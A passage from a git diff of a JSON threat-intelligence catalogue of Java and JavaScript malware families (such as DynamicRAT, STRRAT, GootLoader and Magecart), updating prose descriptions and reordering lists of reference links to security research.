"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://colin.guru/index.php?title=Advanced_Banload_Analysis" ], "synonyms": [], "type": [] @@ -7524,8 +7864,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat", - "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", - "https://objective-see.com/blog/blog_0x28.html" + "https://objective-see.com/blog/blog_0x28.html", + "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" ], "synonyms": [ "Trupto" @@ -7535,6 +7875,21 @@ "uuid": "bae3a6c7-9e58-47f2-8749-a194675e1c84", "value": "CrossRAT" }, + { + "description": "DynamicRAT is a malware that is spread via email attachments and compromises the security of computer systems. Once running on a device, DynamicRAT establishes a persistent presence and gives attackers complete remote control. Its features include sensitive data exfiltration, hardware control, remote action, and the ability to perform DDoS attacks. In addition, DynamicRAT uses evasion and persistence techniques to evade detection and analysis by security solutions.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/jar.dynamicrat", + "https://gi7w0rm.medium.com/dynamicrat-a-full-fledged-java-rat-1a2dabb11694" + ], + "synonyms": [ + "DYNARAT" + ], + "type": [] + }, + "uuid": "28539c3d-89a4-4dd6-85f5-f4c95808c0b7", + "value": "DynamicRAT" + }, { "description": "EpicSplit RAT is a multiplatform Java RAT that is capable of running shell commands, downloading, uploading, and executing files, manipulating the file system, establishing persistence, taking screenshots, and manipulating keyboard and mouse events. EpicSplit is typically obfuscated with the commercial Allatori Obfuscator software. One unique feature of the malware is that TCP messages sent by EpicSplit RAT to its C2 are terminated with the string \"_packet_\" as a packet delimiter.", "meta": { @@ -7609,11 +7964,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat", - "https://research.checkpoint.com/malware-against-the-c-monoculture/", "https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered", - "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/", "https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/", - "https://www.eff.org/files/2018/01/29/operation-manul.pdf" + "https://www.eff.org/files/2018/01/29/operation-manul.pdf", + "https://research.checkpoint.com/malware-against-the-c-monoculture/", + "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/" ], "synonyms": [ "Jacksbot" @@ -7668,13 +8023,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler", - "https://www.herbiez.com/?p=1352", - "https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf", - "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", - "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer", "https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/", - "https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/", - "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/" + "https://www.herbiez.com/?p=1352", + "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", + "https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf", + "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/", + "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer", + "https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/" ], "synonyms": [ "Pyrogenic Infostealer" @@ -7690,8 +8045,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/", - "https://www.digitrustgroup.com/java-rat-qrat/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/", + "https://www.digitrustgroup.com/java-rat-qrat/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/" ], "synonyms": [ @@ -7707,8 +8062,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty", - "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/" + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/" ], "synonyms": [], "type": [] @@ -7717,7 +8072,7 @@ "value": "Ratty" }, { - "description": "Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (hxxps://sorillus[.]com). The tool supposedly costs 49.99€ for lifetime access but is currently available at a discounted 19.99€. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as \"Tapt\", asserts that the tool is able to collect the following information from its target:\r\n- HardwareID\r\n- Username\r\n- Country\r\n- Language\r\n- Webcam\r\n- Headless\r\n- Operating system\r\n- Client Version", + "description": "Sorillus is a Java-based multifunctional remote access trojan (RAT) which targets Linux, macOS and Windows operating systems. While it was first created in 2019, interest in the tool has increased considerably in 2022. Beginning on January 18, 2022, different obfuscated client versions of the tool started to be uploaded to VirusTotal. Sorillus' features are described in detail on its website (hxxps://sorillus[.]com). The tool supposedly costs 49.99\u20ac for lifetime access but is currently available at a discounted 19.99\u20ac. Conveniently, the Sorillus can be purchased via a variety of cryptocurrencies. The tool's creator and distributor, a YouTube user known as \"Tapt\", asserts that the tool is able to collect the following information from its target:\r\n- HardwareID\r\n- Username\r\n- Country\r\n- Language\r\n- Webcam\r\n- Headless\r\n- Operating system\r\n- Client Version", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.sorillus", @@ -7734,20 +8089,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat", - "https://forensicitguy.github.io/strrat-attached-to-msi/", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign", + "https://www.jaiminton.com/reverse-engineering/strrat#", "https://any.run/cybersecurity-blog/strrat-malware-analysis-of-a-jar-archive/", + "https://twitter.com/MsftSecIntel/status/1395138347601854465", + "https://forensicitguy.github.io/strrat-attached-to-msi/", + "https://www.jaiminton.com/reverse-engineering/strrat", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://resources.securityscorecard.com/cybersecurity/analyze-java-malware-strrat#page=1", "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", - "https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign", - "https://www.jaiminton.com/reverse-engineering/strrat", - "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", - "https://resources.securityscorecard.com/cybersecurity/analyze-java-malware-strrat#page=1", "https://www.gdatasoftware.com/blog/strrat-crimson", "https://isc.sans.edu/diary/rss/27798", - "https://www.jaiminton.com/reverse-engineering/strrat#", - "https://twitter.com/MsftSecIntel/status/1395138347601854465" + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape" ], "synonyms": [], "type": [] @@ -7789,8 +8144,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak", "http://www.kahusecurity.com/posts/reflow_javascript_backdoor.html", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html" + "https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk" ], "synonyms": [ "Orz" @@ -7805,11 +8160,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor", - "https://www.secureworks.com/research/threat-profiles/gold-niagara" + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor" ], "synonyms": [], "type": [] @@ -7818,13 +8173,13 @@ "value": "Bateleur" }, { - "description": "• BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n• Creating a Run key in the Registry\r\n• Creating a RunOnce key in the Registry\r\n• Creating a persistent named scheduled task\r\n• BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.\r\n", + "description": "\u2022 BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n\u2022 Creating a Run key in the Registry\r\n\u2022 Creating a RunOnce key in the Registry\r\n\u2022 Creating a persistent named scheduled task\r\n\u2022 BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" ], "synonyms": [], "type": [] @@ -7837,12 +8192,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch", - "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", - "https://www.macnica.net/file/mpression_automobile.pdf", - "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", - "https://www.codercto.com/a/46729.html", "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", - "https://github.com/mdsecactivebreach/CACTUSTORCH" + "https://github.com/mdsecactivebreach/CACTUSTORCH", + "https://www.codercto.com/a/46729.html", + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/" ], "synonyms": [], "type": [] @@ -7894,12 +8249,12 @@ "value": "CukieGrab" }, { - "description": "Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA für C&C.", + "description": "Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA f\u00fcr C&C.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman", - "https://www.prevailion.com/darkwatchman-new-fileness-techniques/", - "https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/" + "https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/", + "https://www.prevailion.com/darkwatchman-new-fileness-techniques/" ], "synonyms": [], "type": [] @@ -7912,8 +8267,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.dnsrat", - "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/" ], "synonyms": [ "DNSbot" @@ -7958,16 +8313,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum", "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", - "https://github.com/eset/malware-ioc/tree/master/evilnum", - "http://blog.nsfocus.net/agentvxapt-evilnum/", - "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", - "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", "http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html", "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", - "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", + "https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets", + "https://securelist.com/deathstalker-mercenary-triumvirate/98177/", + "http://blog.nsfocus.net/agentvxapt-evilnum/", "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://securelist.com/deathstalker-mercenary-triumvirate/98177/" + "https://github.com/eset/malware-ioc/tree/master/evilnum", + "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" ], "synonyms": [], "type": [] @@ -7980,29 +8335,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates", - "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/", - "https://www.mandiant.com/resources/they-come-in-the-night-ransomware-deployment-trends", - "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", "https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/", - "https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html", - "https://blog.malwarebytes.com/threat-intelligence/2022/06/makemoney-malvertising-campaign-adds-fake-update-template/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - "https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://experience.mandiant.com/trending-evil/p/1", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/", "https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/", + "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://blog.malwarebytes.com/threat-intelligence/2022/06/makemoney-malvertising-campaign-adds-fake-update-template/", + "https://www.mandiant.com/resources/they-come-in-the-night-ransomware-deployment-trends", + "https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.menlosecurity.com/blog/increase-in-attack-socgholish", "https://blog.sucuri.net/2022/08/socgholish-5-years-of-massive-website-infections.html", - "https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack", + "https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html" ], "synonyms": [ "FakeUpdate", @@ -8014,25 +8370,31 @@ "value": "FAKEUPDATES" }, { - "description": "", + "description": "According to PCrisk, they discovered GootLoader malware while examining legitimate but compromised websites (mainly websites managed using WordPress). It was found that GootLoader is used to infect computers with additional malware. Cybercriminals using GootLoader seek to trick users into unknowingly downloading and executing the malware by disguising it as a document or other file.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader", - "https://dinohacks.blogspot.com/2022/06/loading-gootloader.html", - "https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader", - "https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf", - "https://www.esentire.com/web-native-pages/gootloader-unloaded", - "https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/", - "https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations", - "https://experience.mandiant.com/trending-evil/p/1", - "https://www.esentire.com/blog/gootloader-leads-to-cobalt-strike-and-hand-on-keyboard-activity", + "https://gootloader.wordpress.com/2023/01/05/gootloader-command-control/", "https://www.esentire.com/blog/gootloader-striking-with-a-new-infection-technique", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://redcanary.com/blog/gootloader", - "https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/", - "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", + "https://experience.mandiant.com/trending-evil/p/1", + "https://web.archive.org/web/20230209123148/https://www.cybereason.com/hubfs/THREAT%20ALERT%20GootLoader%20-%20Large%20payload%20leading%20to%20compromise%20(BLOG).pdf", + "https://gootloader.wordpress.com/2023/01/05/what-is-gootloader/", + "https://www.kroll.com/en/insights/publications/cyber/deep-dive-gootloader-malware-infection-chain", + "https://www.esentire.com/blog/gootloader-leads-to-cobalt-strike-and-hand-on-keyboard-activity", + "https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/gootloader-why-your-legal-document-search-may-end-in-misery/", "https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/", - "https://community.riskiq.com/article/f5d5ed38" + "https://www.esentire.com/web-native-pages/gootloader-unloaded", + "https://community.riskiq.com/article/f5d5ed38", + "https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/", + "https://redcanary.com/blog/gootloader", + "https://www.reliaquest.com/blog/gootloader-infection-credential-access/", + "https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/", + "https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf", + "https://dinohacks.blogspot.com/2022/06/loading-gootloader.html", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/", + "https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader" ], "synonyms": [], "type": [] @@ -8056,24 +8418,24 @@ "value": "grelos" }, { - "description": "GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the infected workstation.", + "description": "GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim\u2019s computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the infected workstation.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/", - "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", - "https://twitter.com/ItsReallyNick/status/1059898708286939136", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/" + "https://twitter.com/ItsReallyNick/status/1059898708286939136" ], "synonyms": [ "Harpy" @@ -8141,14 +8503,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/", "https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity", + "https://blog.angelalonso.es/2017/10/analysis-of-malicious-doc-used-by-turla.html", + "https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", - "https://blog.angelalonso.es/2017/10/analysis-of-malicious-doc-used-by-turla.html" + "https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack" ], "synonyms": [], "type": [] @@ -8161,10 +8523,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.lnkr", - "https://github.com/Zenexer/lnkr/blob/master/recon/extensions/fanagokoaogopceablgmpndejhedkjjb/README.md", - "https://www.riskiq.com/blog/labs/lnkr-browser-extension/", + "https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/", "https://github.com/Zenexer/lnkr", - "https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/" + "https://www.riskiq.com/blog/labs/lnkr-browser-extension/", + "https://github.com/Zenexer/lnkr/blob/master/recon/extensions/fanagokoaogopceablgmpndejhedkjjb/README.md" ], "synonyms": [], "type": [] @@ -8177,65 +8539,65 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf", + "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", + "https://community.riskiq.com/article/2efc2782", + "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", + "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", + "https://community.riskiq.com/article/5bea32aa", + "https://twitter.com/AffableKraut/status/1385030485676544001", + "https://www.riskiq.com/blog/labs/magecart-medialand/", "https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/", + "https://community.riskiq.com/article/fda1f967", + "https://sansec.io/research/magento-2-persistent-parasite", + "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", + "https://www.riskiq.com/blog/labs/magecart-nutribullet/", + "https://sansec.io/research/magecart-corona-lockdown", "https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/", "https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/", - "https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/", - "https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/", - "https://sansec.io/research/magecart-corona-lockdown", - "https://community.riskiq.com/article/30f22a00", - "https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/", - "https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/", - "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", - "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/", - "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", - "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", + "https://www.zscaler.com/blogs/security-research/black-friday-scams-4-emerging-skimming-attacks-watch-holiday-season", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", + "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", + "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", + "https://community.riskiq.com/article/017cf2e6", + "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", - 